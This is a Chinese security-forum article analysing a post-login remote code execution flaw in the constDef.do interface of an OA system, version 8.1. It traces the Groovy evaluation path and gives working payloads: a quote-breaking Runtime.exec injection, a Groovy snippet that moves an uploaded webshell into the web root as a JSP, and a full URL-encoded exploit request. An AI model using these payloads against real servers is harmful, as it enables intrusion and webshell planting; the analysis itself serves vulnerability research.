问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某远OA后台RCE constDef.do命令执行漏洞分析
漏洞分析
某远OA constDef.do命令执行漏洞分析学习。
### 漏洞介绍 某远后台接口`constDef.do`存在代码执行漏洞,但是执行代码长度存在限制,可通过上传接口将webshell上传到目标服务器,再执行代码将webshell移动到可解析的目录下完成利用。 ### 漏洞版本 v8.1 ### 漏洞接口 ```php /constDef.do?method=newConstDef ``` 该接口对应 `com.seeyon.ctp.view.modules.operationcenter.constdef.controller.ConstDefController`的`newConstDef`方法。 该方法接收了一些参数,创建了`ConstDef`对象,调用了`this.constDefManager.insertConstDef(def)`方法进行插入。  该方法中对`constKey`、`constDefine`参数进行验证,然后调用了`this.findByConstKey(def.getConstKey())`  该方法会以构建一个`ConstDef`对象,设置`constKey`,然后调用`this.constDefDao.findByExample(def)`,这个方法会以`constKey`查找一组`ConstDef`对象,再以`ConstDef`对象作为参数调用`this.updateConstValue(result)`。  通过`this.constDefDao.findByExample(def)`找到`ConstDef`对象的情况下,会以该对象的`constKey`调用`ConstDefUtil.getConstDefValue(def.getConstKey())`方法。  继续以`constKey`作为参数调用了`ConstDefCacheManager.getInstance().getConstDefValue(constKey)`  该方法首先会通过`constkey`作为参数在`this.cacheMap`中获取`ConstDef`对象,`this.cacheMap`中保存的为之前插入的`ConstDef`对象。拿到`ConstDef`对象后,使用`ConstDef`对象作为参数调用`this.computeConstValue(def)`方法。   在`computeConstValue`方法中,能看到两处调用`evalString`和`eval`方法   通过`constDefine`作为参数,使用`groovy`计算表达式。  要想进入到`groovy`命令执行的方法调用中,需要`constDefine`的值中包含`$`,且`constType`需要指定为`3`或者`4`。  首先会调用`_parserRefKey`方法对`constDefine`进行解析。会通过`$`界定一组关键字,如`$a$`,最终会在`refs`中添加`a`。  调用`ScriptEvaluator.getInstance().evalString(constDefine, context)`。使用`"`进行包裹,进而调用了`this.eval()`  最后就进入到`Groovy`命令执行漏洞利用点。  在`ScriptEvaluator.getInstance().evalString(constDefine, context)` 执行这里面会通过`"`把`scriptText`包裹起来,如果直接传入`java.lang.Runtime.getRuntime().exec(\"calc\");`会报错,可指定`constType=3`,也可通过如下方式进行拼接即可绕过。 ```php "+"java.lang.Runtime.getRuntime().exec("calc");//$a\" ``` 这里漏洞的利用,需要提交3次请求,第一次请求需要随机指定一个`constKey`和`constDefine`进行提交。 如果不指定直接提交会提示`{"error":"操作异常操作失败, 常量引用不存在"}`。  所以第二次提交需要在`$xx$`中引用第一次提交的`constKey`,但是这一次提交不会触发命令执行,因为在调用`this.constDefDao.findByExample(def)`进行查找的时候,因为`constDefDao`中不存在第二次提交的`constKey`,所以不会进入`updateConstValue`的if条件中。只有第三次提交,才会从获取到第二次提交的`ConstDef`对象,进入`updateConstValue`if条件中,进而触发命令执行。    ### 问题 `ctp_const_def`表中保存的是`ConstDef`对象各个属性的值,`CONST_DEFINE`字段中保存的是`constDefine`的值,但是该字段限制最大长度为`200`。   ### 漏洞进一步利用 由于`CONST_DEFINE`保存的是执行的代码,需要先插入到数据库中,再取出执行,该字段规则限制的长度为`200`。为了绕过该规则,可以通过上传一个后缀为`png`,内容为`webshell`的文件,然后再通过执行代码的方式将文件从上传路径移动到web路径实现RCE。 ```groovy java.io.File file = new java.io.File("..\\..\\base\\upload\\2023\\12\\15\\8115437553340205223");java.io.File endFile = new java.io.File("..\\webapps\\ROOT\\666.jsp");file.renameTo(endFile);//$b1$ ``` ```php POST /seeyon/constDef.do HTTP/1.1 Host: 172.20.10.133 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: ts=1702625401543; JSESSIONID=0AD7C82F3D4D8EA1B6FA9E28132C4BD2; loginPageURL=; login_locale=zh_CN x-forwarded-for: 127.0.0.1 x-originating-ip: 127.0.0.1 x-remote-ip: 127.0.0.1 x-remote-addr: 127.0.0.1 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 640 method=newConstDef&constKey=f5&constDefine=%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%66%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%2e%2e%5c%5c%62%61%73%65%5c%5c%75%70%6c%6f%61%64%5c%5c%32%30%32%33%5c%5c%31%32%5c%5c%31%35%5c%5c%38%31%31%35%34%33%37%35%35%33%33%34%30%32%30%35%32%32%33%22%29%3b%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%65%6e%64%46%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%77%65%62%61%70%70%73%5c%5c%52%4f%4f%54%5c%5c%36%36%36%2e%6a%73%70%22%29%3b%66%69%6c%65%2e%72%65%6e%61%6d%65%54%6f%28%65%6e%64%46%69%6c%65%29%3b%2f%2f%24%62%31%24&constType=3 ```
发表于 2024-07-30 10:04:15
阅读 ( 5612 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
fany
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!